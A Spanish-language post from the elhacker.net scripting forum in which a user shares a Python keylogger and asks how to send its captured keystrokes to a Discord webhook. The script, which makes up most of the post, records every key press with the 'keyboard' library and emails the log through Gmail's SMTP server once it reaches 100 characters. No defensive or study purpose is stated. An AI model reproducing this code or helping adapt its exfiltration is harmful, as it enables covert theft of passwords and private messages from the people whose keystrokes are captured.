elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Tutorial básico de Quickjs


  Mostrar Temas
Páginas: [1]
1  Programación / Scripting / Ayuda con Keylogger en: 5 Abril 2020, 03:00 am
Tengo el siguiente Keylogger, es capaz de enviar las pulsaciones a través del protocolo SMTP a una cuenta de GMAIL, en vez de usar dicho protocolo, quiero hacer que las pulsaciones sean enviadas a una Webhook del sitio Discord, usando la librería import discord_webhook.

¿Alguien puede ayudarme?

Código:

Código
  1. import keyboard as key
  2.  
  3. from email.mime.multipart import MIMEMultipart
  4. from email.mime.text import MIMEText
  5. import smtplib
  6.  
  7. import datetime
  8.  
  9. Text = ""
  10.  
  11. while True:
  12.    Recorded = str(key.read_event())
  13.  
  14.    if Recorded.__contains__('up'):
  15.        Recorded = Recorded.replace('KeyboardEvent(', '')
  16.        Recorded = Recorded.replace(' up)', '')
  17.  
  18.        if (len(Recorded)>1):
  19.            Text = Text + " " + Recorded + " "
  20.        else:
  21.            Text = Text + Recorded
  22.  
  23.    if (len(Text)>=100):
  24.        try:
  25.            msg = MIMEMultipart()
  26.  
  27.            password=""
  28.            msg['From']=""
  29.            msg['To']=""
  30.            msg['Subject']="Report "+ str(datetime.datetime.now().date())
  31.  
  32.            msg.attach(MIMEText(Text, 'plain'))
  33.  
  34.            server = smtplib.SMTP('smtp.gmail.com: 587')
  35.            server.starttls()
  36.  
  37.            server.login(msg['From'], password)
  38.  
  39.            server.sendmail(msg['From'], msg['To'], msg.as_string())
  40.  
  41.            server.quit()
  42.  
  43.            Text=""
  44.  
  45.  
  46.        except:
  47.            print("Error")


Mod: Obligatorio el uso de etiquetas GeSHi para codigo.
Páginas: [1]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines